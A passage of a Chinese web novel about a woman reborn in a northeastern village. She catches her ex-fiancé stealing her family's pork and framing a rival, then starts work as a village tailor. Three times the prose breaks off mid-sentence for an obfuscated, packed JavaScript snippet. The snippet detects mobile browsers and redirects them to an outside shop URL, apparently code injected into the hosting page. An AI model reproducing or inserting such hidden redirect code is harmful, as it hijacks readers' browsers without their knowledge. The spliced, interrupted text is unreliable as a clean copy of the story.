她在那无数次提醒中,牢记自己欠他的情。她反复说服自己,陈广林是爱她的,她也必须坚持爱陈广林。 某一天,她学会了抽烟,每当动摇出现、难以坚持,她会忙中偷闲给自己点上一支烟,麻醉自己敏感的神经,抚慰自己悲伤的心灵。 后来越抽越多,渐渐形成烟瘾,直到死亡也没能戒掉。 这个长长的梦,既像梦境又像现实,更像一段植入头脑的记忆。 做梦的人既像旁观者,又像亲历者,她看见她哭、看见她笑,她在婚姻里的压抑、焦虑、妥协隐忍和自欺欺人,她都感同身受。 她猛然睁开双眼,有一瞬间的迷惘,分不清自己究竟是袁柔,还是方英。 下一秒她清醒过来,她既不是曾经的袁柔,也不是死去的方英,而是要做一个全新的方英。 被窝里很暖和,但她在梦中出了一身冷汗。此刻她觉得口渴得厉害,所以起身套上棉裤、披起棉袄,下炕走到窗边端起暖壶倒了杯水。 夜里刮起大风,吹得木质窗框吱呀作响,她将窗帘撩开一个缝隙,向窗外望去。 天还没亮,但她看见院子里有一束微弱的光,是手电筒的光,光照出飘落的大片雪花,还照出几个高大的人影,正在院子里雪埋猪肉的位置鬼鬼祟祟地忙碌。 方英顿时变了脸色,有贼!是偷猪肉的贼!!! 4. 第4章 抓贼 袁柔跑出屋,大力拍了几下东屋的房门,喊道:“爸妈!抓贼!有贼在院子里偷猪肉!!!” 然后她冲到院子里,厉声喝道:“你们是谁?谁偷我们家猪肉!?” 几个贼正在往架子上抬猪肉,被方英的喊声惊到。拿手电筒的贼手哆嗦了一下,原本照在猪肉上的光束歪斜,一晃而过照到了其中一个贼的脸。 那张脸方英认得,那人姓陈,是陈广林的一个堂兄,名叫陈广山。 几个偷肉贼拔腿欲跑,慌乱中却还舍不下即将到手的猪肉。猪肉已经被搬到了木杆钉的架子上,四个贼合力抬着架子跑在前面,还有一个贼跑在后面。 方英头脑里只有一个念头,那就是她一定要抓住这伙偷肉贼,改变梦里接下来要发生的事。 她抄起一旁铲雪用的板锹,发狂般朝那几个贼人追去,大声呼喝:“站住!!!” 她不禁暗自惊讶,她现在的身体好有力量,奔跑速度极快。 那几个贼虽然都是精壮成年男子,但一来抬着猪肉,二来被撞破偷盗心虚,难免双膝发软,跑得步态歪斜,根本无法冲刺。 在村道上,方英与几个贼人的距离逐渐缩短,越来越近。 她猛力抡起板锹,重重拍向跑在最后那个落单的贼。那贼被拍中后背,吃痛大叫一声,面朝下摔倒在地。 英子爸也追了过来,接过方英手上的板锹,“英子,你按住这个!爸去追前面那几个!” 方英应了一声:“好!” 那人被打趴在地上不起身,方英上前抓住他的后衣领子,怒气冲冲道:“起来,我倒要看看你是谁!” 她用力拉那人的衣领,想将他拉起来看他的正脸,那人却双手紧紧捂住自己的脸,趴在雪地里放赖。 现在虽然是后半夜,但天还没到蒙蒙亮,不过方英追着贼跑了一阵,眼睛适应了黑暗。 夜里新下的雪堆积在地上蓬松如沙,在黑夜里竟也看得出白,反射出星星点点碎闪的光。方英借着微光,看雪地里这个放赖的男人,觉得有些眼熟。 她伸手用力拉开他捂脸的手,终于看清他的面目,“陈广林,竟然是你?真的是你!” 方英心中五味杂陈,这在她料想之中,却实为情理之外。此刻她除了愤怒,更多的是寒心,替那个死去的方英寒心。 所有的一切突然都说得通了。 曾经的方英感激陈广林救父之恩,死心塌地爱他包容他一辈子,却在临死前得知当年造成她父亲急火攻心险些丧命的始作俑者,原来就是她的丈夫陈广林。所以她才会那般遗憾痛苦,含恨而终。 方英凝视着陈广林,落下一滴气恨难平的眼泪,为死去的方英。 她看见他的衣兜里露出红色的一角,伸手抢过,是梦里那张贴在猪头上的挑衅字条。 她想骂他,但袁柔的灵魂太过礼貌,无论是恶毒话还是粗俗话,她的词汇储备量都太过贫瘠,最终只咬牙切齿地骂出一句:“陈广林,你真卑劣!” 陈广林梗着脖子,明知理亏却毫无悔意,“我卑劣?”他冷哼一声道:“你和于穹做那种见不得人的事才卑劣!” 他一副死猪不怕开水烫的架势,“我就偷你们家猪肉了,怎么着吧?” 方英瞬时火冒三丈,“世上怎么会有你这么无耻的人!我和于穹清清白白,就算你对我有意见,要报复你冲我一个人来啊!” “摸黑偷窃,还写这种垃圾打油诗气人,你可真有出息!” 她越说越气,突然觉醒了一种源自曾经方英的发泄方式。她脱下一只鞋拿在手上,对陈广林一同招呼,用鞋底抽他的肩膀、抽他的胳膊、甚至抽他的脸。 她边抽边骂:“你知道这些猪肉,对方英造成多大影响吗?你骗了她一辈子!你道德绑架她爱了你一辈子!” 她骂了两句,竟又哭出来,“她临死都放心不下你这个混蛋,你却巴不得她快点死,她还没死你就惦记娶别人……” 陈广林觉得方英的话莫名其妙,却顾不上多想,只顾着抬手挡她猛烈抽来的鞋底。 鞋底断成了两截,方英仍不解气,拿着断底的鞋继续边抽边骂边哭。 直到父亲将她拉开:“行了英子,别打了!” 英子爸已经折返回来,他追到了贼,那另外四个贼耷拉着脑袋,用架子抬着猪肉跟在他身后。 除此之外,还有一个意想不到的人,于穹。 英子爸沉着脸,扫视了一圈几个偷肉贼,“走吧你们几个,天也快亮了,抬着猪肉跟我上村委会,找村长评评理。” 他对于穹说:“于穹,你也跟叔去一趟,帮叔做个证。” 于穹的表情看不出情绪,点了一下头,“行。” 英子爸还让陈广林回家叫了他的父亲陈仓,让陈广山叫了他的父亲陈粮,最后亲自去请村长。 村长从梦中被叫起来,披着棉袄打着哈欠,跟着英子爸赶到村委会。路上他问英子爸出了什么事,英子爸不说,只一味叫他去村委会。 村长一进门,见屋里的情形瞬间清醒过来,瞪着陈广山责问道:“广山,咋回事儿啊?” “呵,咋回事儿?”英子爸冷声道:“你姑爷陈广山,和老陈家这几个小辈,黑天半夜到我们家偷猪肉,让我找住了呗!” 这五个偷猪肉的贼,全都是陈家“广”字辈。除了陈广林,还有两个是他的亲兄弟,另外两个是他的堂兄弟。其中陈广山娶了村长的女儿,是村长的女婿。 英子爸态度激愤,讲了一遍事情经过。 “他们几个抬着猪肉,我在后面边撵边喊,一直跑到村东头。要不是于穹起早练早功碰上了,在前面帮我拦了一下,他们几个还不站下呢。” “你们到底是年轻人,能跑哈!你们以为黑灯瞎火叔认不出你们,跑了就万事大吉了是吧?你们笨寻思寻思,广林在后面都让我姑娘打趴下了,抓住他不得招出你们吗?” 英子爸眉头紧皱,气愤地瞪了陈广林一眼,“广林我都不说了,差点成我姑爷,干这种事儿。” 他抬手指点着其余的四个偷肉贼,数落道:“我就说说你们几个,陈广山、陈广河、陈广军、陈广臣。” “我方万春是木匠,你们哪个结婚时候盖房子打家具,我没费心没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242709|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮忙啊?”他怒斥道:“平时见了我一口一个方叔叫着,背地里到你方叔家偷猪肉!?” 几个小辈被损成了瘪茄子,把头低得极低,恨不得遁入地下。 村长知道英子爸脾气倔不好惹,劝道:“万春,消消气,你大人大量,别跟几个孩子一样的。” 陈仓陪着笑脸,“对,亲家,别生气。”他对陈广林使了个眼色,“广林,赶紧给你岳父赔礼!” 方万春抬手制止道:“可别!用不着,也受不起!”他一脸严肃,对陈仓说:“今天正好都在这儿,我就正式和你说一声,我们家英子和你们家广林的事,往后就算拉倒了。” “以后别叫亲家,我们家英子爱嫁谁嫁谁,你们家陈广林也爱娶谁娶谁,娶个天仙也和我们没关系。” 方万春态度坚决,陈仓脸上有些挂不住,悻悻然将没说出口的讨好话咽了回去。 方英在父亲旁边,垂眸露出一抹无比轻松释然的笑。她和陈广林的恋爱关系以及未来婚约,终于彻底解除。 “村长,你看这事怎么处理?”方万春语气强硬,“天儿也亮了,依我看就报警。” 一听“报警”两个字,几个犯错的小辈瞬间害怕,陈仓和陈粮也紧张起来。 村长稳得住些,好声好气地劝道:“万春,这猪肉也找回来了,大伙乡里乡亲的,你就当给我个面子,就别经官了吧?” 方万春思索片刻,叹了口气道:“不经官也行,但我有个条件。” 村长:“什么条件你尽管提。” 方万春:“他们几个得抬着我家猪肉,在村里上绕一大圈,大大方方地给我送回去!” 陈粮的脸皱成一团,为难道:“方木匠,你这不是磕搀人吗?” “哎!你说对了!”方万春瞪着眼睛,“我就是要磕搀磕搀你们老陈家!这时候知道丢人了?嫌丢人就别干丢人事儿啊!” 他板着脸,高声道:“要么抬着猪肉走一圈,要不就经官。” 几个姓陈的面面相觑,无奈选择了抬着猪肉丢人一圈。 几个小辈抬起猪肉,方万春的目光落在他们抬猪肉的架子上,“这木架子是广山家的吧?以前是个旧梯子,说要放东西用,还是我给改的呢。” 方英看着这个架子,眸光一颤,因为她认出,这个用来抬猪肉的架子,便是她梦中将父亲抬去县城医院所用的简易担架。 在她梦中,陈广林找来十几个年轻力壮的亲戚送方万春去医院,而此刻眼前这几个犯错的陈姓小辈,恰在那十几人之中。 她顿感脊背发凉,惊觉若不是她夜里偶然撞见几人偷盗,父亲将因这几个人而气病,他们用来抬猪肉的担架,将会用来抬父亲去医院。曾经的方英蒙在鼓里,还要感激这几个贼,着实悲哀。 陈家几人抬着猪肉将要出门,被方万春叫住:“等等!这猪肉不对啊,数不对!” 他看着架子上的猪肉,“我家一头猪,老李头给卸的,先是分成两扇,每扇再分成连着猪腿的前半扇和后半扇,一共是四脚子猪肉。” “现在这只剩三脚子了,少的一脚子猪肉哪去了?” 5. 第5章 一脚子猪肉 面对方万春的质疑,陈家几个小辈交换了一下眼色,各自低下头不答话。 “说啊!少那一脚子猪肉让你们整哪去了?”方万春追问道。 陈广山作为村长女婿兼几人中的大哥,为难地开口:“方叔,那一脚子可能、可能还在你们家吧,也兴许我们抬着猪肉跑的时候掉大道上了。” 他吞吞吐吐,眼神和语气无不透露出心虚,“反正我们几个,就只偷了这些,”他看了一眼架子上的猪肉,再次低下头去,低声说了句:“都在这。” “行,跟我撒谎是吧?”方万春很是气愤,“看来我只能报案了,请警察来调查。” 他对村长说:“村长,这可别怪我不给你面子,我一年到头好不容易养这么一头猪,差那一脚子猪肉我必须得找回来!” 村长见方万春生气,不想事情闹大,抬腿踢了女婿陈广山一脚,厉声斥道:“还不赶紧跟你方叔说实话!” 陈广山面露难堪,“另外那一脚子,在……”他看了一眼于穹,“在老于家前园子的菜窖里。” 除了陈家广字辈的五兄弟,在场的其余人一脸震惊,尤其是于穹,“为什么在我们家?” 陈广山和陈广林对视一眼,各自垂下头不再说话。 方英想到,原本的于穹被冤枉成偷肉贼,现在看来和陈广林脱不开关系。 “陈广林,这是你的主意吧?”她高声骂道:“敢做不敢当,还想陷害别人,你算什么男人?” 她生气地将那张挑衅的红纸字条攥成一团,朝陈广林扔去,砸在他的肩上,纸团弹开,恰巧落在一旁于穹的手里。 于穹打开纸团一看,皱起眉诧异道:“这字条哪来的?这上面的字迹,怎么这么像我写的!?” 他字迹工整俊逸,近两年村上的宣传字报都是叫他来写。 陈家五兄弟你看看我,我看看你,再次陷入沉默。 村长见方万春脸色铁青,怕他再发火,抢先一步对几个犯错的小辈吼道:“你们几个说话!别不吱声!” 陈广山见老丈人生气,也不再袒护兄弟,对陈广林道:“广林,你自己说吧。”他嘀咕道:“这事儿都赖你,你非叫我们跟你去偷猪肉……” 陈广林的脸羞臊得通红,事已至此,他只得坦白:“英子不跟我好了,我心里憋屈,一气之下想偷她们家猪肉。” “猪肉太沉,我一个人搬不了,所以叫上哥儿几个跟我一起去。” 于穹质问道:“那你为啥,扔一脚子到我们家?” “我想报复你!英子不跟我好,都是因为你!”陈广林瞪着眼,理亏但不服气,“纸条是我模仿你笔迹写的,那脚子猪肉也是我扛到你们家菜窖的。” “今天算你躲过一劫,要不然,我待会儿就拿纸条到你们家捉赃,”他恶狠狠地指了一下于穹,“姓于的,到时候贼就是你!” 方英恍然大悟,明白了前前后后的一切。她本以为陈广林又莽又坏,此刻才意识到,他比她想象得更坏,却比她想象得更有心机。 昨夜里,陈广林先行独自扛了一脚子猪肉去于穹家,又返回和几个兄弟一起搬剩余的,顺便往猪头上贴那张提前准备的字条,不料被方英撞见。 陈广林的原计划,是今天拿着字条作为证据,带上十几个兄弟一起冲到于穹家掀开菜窖,找出那一脚子猪肉,抓住于穹来个人赃并获。 那样一来,于穹成为人人喊打的偷肉贼,而他则是抓贼英雄。到时他再和方英说几句软话,定能哄她跟他和好。一番操作之后,一来他重新赢回方英,二来他铲除潜在障碍于穹,三来和兄弟们分着吃另外三脚子猪肉。可谓是一箭三雕。 至于方万春会因为猪肉被盗气病,他并未想到,后来抬方万春去医院,也完全在他的预料之外。他当时会那么做,大概既出于愧疚,也有善良的成分。 “陈广林!你小子还好意思说!”陈广林的父亲陈仓暴跳如雷,“我他妈的老脸都让你丢尽了!” 他对陈广林又踢又打,村长、陈粮和陈家另外几个小辈死命地拦着他。 场面一时间混乱不堪,方万春不耐烦地制止道:“行了!别整景儿了!赶紧到老于家,把我另外那一脚子猪肉,给我取回来。” 包括村长在内,众人一起赶到于穹家,果然在菜窖里找到了缺失的一脚子猪肉。 按照之前说好的,陈家五兄弟抬上全部猪肉,要在村里走一圈。 方万春看着那五个人,气不打一处来,他灵机一动,对于穹说:“于穹,把你唱戏时候敲的锣取来,你敲锣领他们几个走。” 他不屑地瞥了眼陈家兄弟,“一个个蔫头耷拉脑的哪行啊!” 于穹有些犯难,“方叔,这不合适吧?” 虽然他对陈广林的做法十分恼怒,但他心胸宽广,不愿计较。而且父母常告诫他,在这个村子里生活,乡亲之间尽量不要与人结仇。 “你要不愿意敲,叔亲自敲锣领他们走。”方万春坚持道:“你去回家取去,就当把锣借叔使使。” 他铁了心,要好好磕搀磕搀老陈家。 于穹只得答应,他回到那间草房,不一会儿又出来,却没有拿来锣,只拿来了一副小镲子。 方万春:“这镲子哪有锣声大啊?你哪管给叔拿副大镲也行啊!” 于穹微微笑了一下,“方叔,最近剧团排练多,其他的都借出去了,只剩这副镲儿。” 方万春无奈地轻叹了口气,“行吧,也能将就用。” 于是,方万春一边打镲,一边吆喝:“大伙儿都出来看看嘞!老陈家哥兄弟儿来给我家送猪肉喽……” 几个偷肉贼则抬着猪肉跟在他身后,垂头丧气、面红耳赤、无地自容。 村民们大早上听见“锵锵”的镲声和方万春的吆喝声,纷纷跑到自家大门外,到村道上一探究竟。 方万春带着陈家兄弟在村里走了一圈,这件事情便传开了,全村男女老少人尽皆知。老陈家算是丢了大人,方英和陈广林的亲事也算彻底告吹。 这天上午,方英和父亲抬着一脚子猪肉,来到于穹家。 走进于穹家的小草房,方英真真切切地见识到了什么叫家徒四壁,这家人家穷得只剩下四面墙和一南一北两铺炕。 窗户不是玻璃,而是糊的老式窗户纸,采光很差,屋内昏暗暗的。好在烧柴烧得多,屋里虽然不算暖和,倒也不冻人。 见方家父女进门,于穹的父亲很意外,“万春,和英子拿猪肉过来干啥啊?”他的声音很沙哑,讲话似是有些费力。 于穹的母亲热情地招呼道:“快进屋来,进屋说,”她亲切温和地对方英一笑,“孩子,外面冷吧?” 于穹的父亲名叫于红杨,早年人称铁嗓儿小红杨,于穹的母亲名叫秦霜玉,艺名霜丫儿。二人幼时学艺,十几岁起登台表演,一直是一副架儿,在邻省老家曾红极一时。 后来两人遇人不淑,当时的老板利欲熏心,某一次演出逼二人连唱了三天三夜,铁嗓儿小红杨唱坏了嗓子,霜丫儿不愿去和别人搭档,二人就此隐退江湖。 “这不是么,你家小于穹,前两天儿刚救了我家英子,今天又帮我抓贼。”方万春呵呵笑道:“我得谢谢他,送你们一脚子猪肉吃。” “哎呀!都一个村儿住着,客气啥!”于红杨对妻子说:“霜玉,你去给烧点水。” 他拉着方万春坐到南炕上,“万春,咱唠会儿磕。” 北炕上有两个七八十岁的老人,是于穹的爷爷和奶奶。于穹的爷爷几年前中风,之后便瘫痪了。于穹的奶奶是多年的气管炎,冬天天气一冷就犯病咳嗽,严重时甚至咳血。 方万春寒暄道:“大叔大婶,最近身体咋样?” “还那样。”于红杨眼中闪过一缕愁绪,轻轻叹气道:“都是老毛病了。” 方万春:“要不叫我大姑爷过来,给打打针?” “前两天找了。”于红杨说:“周大夫前两天刚过来给看过。” 方万春点了点头,“噢噢。” 秦霜玉端来茶壶和几个玻璃杯,倒了沏好的热茶给方万春和方英,“来,喝点水吧。” 方英道谢后双手接过,端到嘴边要喝,垂眸看见手中玻璃杯的杯沿儿掉了一块玻璃碴,留下的断口看上去有些锋利。她悄悄转了一边,抿了一小口杯中的茶水,没有一点茶香,只有苦涩和土腥味。 “你家于穹没在家啊?”方万春问道。 “这不快过年了么,县城的剧院排练演出忙。”秦霜玉微笑道:“小穹最近经常去县里。” “他早上吃完饭就走了,冬天这路没法骑自行车,得走着去镇上,再坐大客车上街里。” “那孩子挺上进的,能吃苦。”方万春思索了一下,“小穹比我们家英子大两岁,今年是21,来年22了吧?” 秦霜玉点了点头,“嗯呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242710|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “也不小了,该张罗说个媳妇儿了。”方万春轻声笑道:“赶明儿有合适的,我帮着搭个搭个。” “那可得谢谢你啦!”于红杨看了方英一眼,对方万春问道:“听说你家英子,跟老陈家广林黄了是吗?” 方万春脸上的笑容瞬间凝固,眼中浮现紧张和尴尬的神色,他含糊道:“啊,不一定呢,年轻人的事儿……黄不黄的,这咱们说不准,今天吵两句嘴,没准明天又和好了……” “爸……”方英想要搭话,声明她和陈广林真的已经分手,却被父亲瞪了一眼,于是将话又咽了回去。 方万春继续说道:“我们家英子岁数还小呢,不着急结婚,让她在家多玩几年。” 父女二人离开于穹家,走在村道上,方英沉默无言。 她实在未曾想到,未来的著名二人转表演艺术家于穹,在年轻时竟然如此贫穷困苦。 未来那个时代的袁柔不是二人转迷,对于穹先生的经历也知之不多。此刻她心底对他萌生一种崇敬,因为出身平凡的穷小子,最终逆袭成名成家,他必然付出了比旁人更多的努力。 “英子,咋不说话?”方万春问道:“是不看于穹家太穷了,心里不得劲儿?” “嗯,是有点。”方英眼中转瞬闪起希望,“不过以后,他的日子会变好的。” 方万春撇了下嘴,“我看够呛。虽说穷不扎根、富不长苗吧,但老于家这家庭,过几年担子都在于穹一个人身上,他想靠唱戏翻身太难了。” “说句不好听的,他就适合打光棍,多挣点钱先把爷奶伺候走,过些年再给爹妈养老送终,剩一个人有吃有喝就行了。” 方英无语地笑着说:“你刚才还说要给人家介绍对象呢……” “爸那是随口一说,不算数的!”方万春一本正经,“刚才我不也拿话敲打他们了吗,这两天儿咱家欠他点人情不假,送他一脚子猪肉行,可别惦记打我姑娘主意。” 方英似笑非笑,“人家于穹也看不上我吧。” “他咋看不上?”方万春认真地说:“凭我老姑娘这条件,要模样有模样、要个头有个头、要体格有体格,咱不说嫁个城里人吧,怎么也得嫁给老陈家那个级别的。” “你爹我是木匠,咱家在这村虽不算太有钱,但条件也不差。不说别人,咱家你姐,那嫁的也是咱村的村医周永峰。” 方英忍俊不禁,笑过之后又陷入沉思,“爸,这个年代的女孩,一定要嫁人吗?” 方万春怔住一瞬,“哪个年代的女人不嫁人呐?” 方英:“为什么要嫁人?” 方万春一时哑然,思考半晌说道:“嫁汉嫁汉、穿衣吃饭,男人是劳动力能干活能养女人。” 父女俩边走边聊,路过村里那口水井,方万春道:“就拿吃水来说,上井沿儿挑水,那不都得是老爷们儿的活么。” 方英不以为然,“再过几年,村里也像城里一样,家家户户都能吃上自来水,就用不着挑水了。” “不是挑水这一样事,爸是和你说这个意思。”方万春不再细解释,“反正姑娘大了就得嫁人。” “要是我方万春的姑娘嫁不出去,老到家了,让外人笑话不?” 方英正要继续辩驳,不远处有一个甜甜的女孩声音唤她:“英子!” 她循声望去,迎面走过来两个人,其中一个是杀猪匠老李头,另外一个是个年轻的女孩。 女孩亲昵地上前拉住方英的手,“英子,两三个月没见了,我好想你哦。” 方英端详着这个女孩,女孩脸圆圆的,笑眼弯弯似月牙,十分甜美可爱。她觉得她年龄好小,应该也就十八九岁,在袁柔生活的时代不过是刚上大学的年纪。 然而,眼前的女孩怀了孕,已经显怀。 “不好意思,我前几天落水脑子受了点伤,很多事情不记得了。”方英问道:“请问你是?” “我是淑玲啊!李淑玲。”女孩望了杀猪匠老李头一眼,“我是他闺女。” “今年春天我嫁到南屯去了,以前枝枝、盼儿,还有你和我,咱们天天一起玩的。”她清甜一笑,“咱们四个是好姐们儿。” “哦哦,原来是这样。”方英心想,原来除了丘盼儿和鲁枝枝,方英还有一位好姐们儿李淑玲。 “英子,一会儿你叫上盼儿和枝枝,一起到我家来。”李淑玲笑容欢喜,有点神秘地对方英说:“有好吃的。” 6. 第6章 开始做裁缝 丘盼儿和鲁枝枝一听说淑玲回娘家了,都开心的不得了,赶紧和方英一起跑来淑玲家,直奔淑玲住的里屋。 李淑玲见三人进门,欢喜地迎过来。四个小姑娘站成一个紧密的圈,你拉着我的手,我又拉着她的手,一时间没说出什么话,只是看着彼此咯咯地笑。 “玲儿,你快生小娃娃了。”丘盼儿轻轻摸了一下李淑玲隆起的孕肚,“上回见面,你肚子还不显呢。” 李淑玲点了一下头,“我上次回来还是秋天呢,”她甜甜一笑,眼睛弯成月牙,“隔了三个月,小宝贝在我肚子里,肯定长大了些呀!” 方英看着身旁的淑玲,莫名产生了一种于心不忍的感觉。 成为如今的方英之前,她是29岁的袁柔,以她的眼光看十八九岁的李淑玲,是一个小妹妹。 她看她那么年轻、那么稚嫩、那么清纯、那么美好,不禁对她心生怜惜。她想,若她生在几十年后袁柔的时代,她的人生应该会有更多的机会和选择,而不是年纪轻轻嫁为人妇生儿育女。 “玲儿,你晚上睡觉会害怕吗?”鲁枝枝呆呆问道。 “不怕呀。”李淑玲不解,“为什么怕?” 枝枝的表情透着紧张,“你不怕哪天你早上醒来,被窝里爬出个小孩儿吗?” 淑玲愣住,先是惊愕,接着发笑,“谁告诉你生孩子是那么生啊!?” “我妈说的。”鲁枝枝一脸认真,“她说女人和男的结婚后,过段时间就会肚子胀,再过几个月被窝里就会爬出个小孩儿。” 枝枝没有兄弟姐妹,父亲多年前因病去世,母亲守寡后并未再嫁,带着她相依为命。所以很多事情,母亲说什么,她便信什么。 淑玲哈哈笑道:“要是那么容易就好了!生孩子是要……”她停住话语,脸颊泛红,目光扫了一下三个好姐们儿,“反正生孩子没那么简单的,和你们没嫁人的姑娘说不明白。” 方英轻轻笑了一下,笑过之后又觉得无奈。这个年代信息相对闭塞,接触不到互联网,一些缺乏文化和相关知识的姑娘,可能懵懵懂懂步入婚姻,又稀里糊涂生育子女。 “先不说那些。”李淑玲岔开话题,笑吟吟道:“我给你们带好吃的了!” 方英和盼儿、枝枝一起露出笑脸,“带了啥呀?” 淑玲拿出一个四方巾系的包袱,打开来里面是8个红红的苹果。 盼儿惊喜道:“呀!大苹果,哪来的?” “朱武他们家亲戚,从老家坐火车过来,用扁担挑来的。”淑玲笑着说:“我拿了16个回来,一半给我爸妈,剩下这8个咱们一块吃。” 她口中的朱武,是她的丈夫。 枝枝很是开心,拿起一个苹果用袖子抹了一下表面的浮灰,“玲儿,那我可不客气啦?” “客气啥,吃吧!我拿来就是要和你们一起吃的。” 鲁枝枝一口咬下,脆声作响,“又甜又脆,太好吃了!” 淑玲又拿起两个苹果,一个给了盼儿,另一个要给方英。 方英没有接过,说道:“玲儿,你们吃吧,我不爱吃苹果。” 她知这个年代本就物资匮乏,东北天寒地冻,生鲜运输更是困难,在冬天很难吃到这么优质的苹果。 而且以前是袁柔的时候,她不善社交,没有真正知心的朋友,待人总是客气却疏离。换句话说,她还不太习惯,有如此亲近的好姐们儿。 “英子,你什么时候变这么见外了?”李淑玲拉过方英的手,将苹果硬塞到她手里,凑近她耳边小声说道:“我给你挑的这个,是最大最红的。” “哼!我听到了!”丘盼儿故作生气,撅起嘴道:“玲儿,你还是最向着英子!” “我也向着你呀!”淑玲的声音甜甜的,笑眼弯弯道:“盼儿小姐姐,我给你的苹果也是又大又红的。” 她们四个从小一起长大。今年枝枝21岁,盼儿20岁,淑玲和方英都是19岁,两人同龄,上学时一直同班同桌,所以关系在四个人里要更加亲近一点。 鲁枝枝大口嚼着苹果,“啰嗦那么多干啥,赶紧吃得了。”她已经在吃第二个,“你们要不吃,一会儿我全吃完啦!” 几人正说笑时,听见外屋的开门声,一个年轻男人急匆匆地闯进李家,大声唤道:“李大爷!李大爷在家吗?” “诶,在家呢!”老李头对来人问道:“崔五,咋了?出啥事儿了?” “李大爷,我三叔走了。” “走了?”老李头疑惑,“上哪了?” 崔五脸色悲伤,“人没了!一小时前刚没的。” “啊?!”老李头极为震惊,脸上写满难以置信,“咋这么突然?我前些日子还见着崔裁缝了呢。” “我三叔前几天中耳炎犯了,周大夫给开的头孢,嘱咐他吃那药不能喝酒。但是李大爷你也知道,我三叔那个人顿顿离不了酒,不让喝他也喝了。”崔五无奈地叹了口气,“这不是么,人没了。” 老李头深感惋惜,“崔裁缝过完年才52吧?怎么就出了这事儿。” “说得是啊。”崔五道:“李大爷,你跟我过去一趟吧?研究研究我三叔出殡怎么整。” 老李头点了一下头,对淑玲妈唤道:“老伴儿,你和闺女在家,我去老崔家,帮忙张罗张罗。” 四个小姑娘在里屋,也将老李头和崔五的对话听得清清楚楚。 那二人走后,盼儿很是失落,“真是的,崔裁缝走得也太突然了,我本来还打算,过年找他做身新衣服穿呢。” “唉……”枝枝叹了口气,同样懊恼,“我也是,缎面的布我都买好了,想着做件对襟外衣套棉袄穿。” “我倒不想做那种老式衣裳了,我想做件时髦的。”盼儿眨了眨水灵灵的眼睛,“之前我在电视上看到,那些港台女明星、电影女演员,穿西服,还有喇叭裤!可好看了!” 她甩了甩她的长辫子,“要是再配上我的长头发,得老美了!” 方英听着二人对话,渐渐露出微笑,“你们说的衣服我能做,我来帮你们做吧?” 二人看向方英,眼神中写着诧异和不信,似笑非笑道:“你啥时候会做衣裳了?” “我上辈子是……”方英想到服装设计师这个词对于她们来说不免生涩,“我上辈子就是干裁缝的,最近我记起了一点上辈子的事。” 她身为袁柔时,大学学习服装设计专业,毕业后做了七年服装设计师。虽然后来的工作,主要是画高端品牌服装的设计图,但概念开发、样衣制作、时装展览、营销宣传等方面也都涉及。 而且,她曾修习过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242711|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多门课程,也曾到工厂里实习,所以打版、裁剪、缝纫、刺绣等制衣所需技能她全都具备。 她信心满满,一本正经道:“你们想做的对襟外套、西服和喇叭裤并不难做,只要让我看过大致的样式,我给你们量体裁衣,一定可以做出近似款。” 盼儿和枝枝看了方英两秒,又互相看向对方,随后同时发出爆笑。 枝枝:“哈哈哈……英子,你可真能扯,还‘上辈子’,我看你是之前掉水里脑子还没好,说话神神叨叨的。” “就是呀!你以前最不爱做针线活了。”盼儿说道:“缝补衣服、做鞋、织毛衣,你都不喜欢也不擅长。你送给陈广林的那条围脖,还是我费劲巴力教你织的呢。” “我以前不会,但是我现在会了。”方英认真地说:“让我试试吧?” 淑玲搭话道:“依我看,你们就让英子试试吧。崔裁缝是咱村唯一一个裁缝,他这一没,也找不到别的成衣匠,不如交给英子试试看?” 枝枝想了想,缓缓说道:“那行吧。”她不放心地低声补充道:“我那料子很贵的,一块二一尺呢。英子,你裁的时候小心着点。” “放心,没问题。”方英爽快地说:“要是做毁了,我把料子赔给你。” “英子,我还没买布,你先做枝枝的。”盼儿俏皮一笑,“等你给她做完了,我再去买布,你再做我的。” 方英笑了笑,“可以。”她懂,盼儿是想先看看她给枝枝的衣服做成什么样,再决定用不用她这个新裁缝。 她对淑玲问道:“玲儿,你过年要做新衣服吗?我也可以帮你做。” “今年过年我不能穿新衣服了。”淑玲微微皱起眉头,眼中闪过一抹不开心,“怀着孩子肚子大了,如果现在做衣裳,等生完穿着就不合身了。” 她垂下眼眸,看着身上穿的深灰色旧棉袄,有些低落惆怅。她嫁的丈夫朱武,家里条件一般,她怀孕肚子渐渐大起来,从前的衣服瘦了,也没有添置新衣。这件旧灰袄,还是朱武以前的棉袄,淑玲将就穿着。 方英敏锐地觉察到淑玲的不开心,她拉上她的手,稍稍紧握了一下,柔声说道:“玲儿,等你生完孩子,我再给你做新衣裳,好吗?” 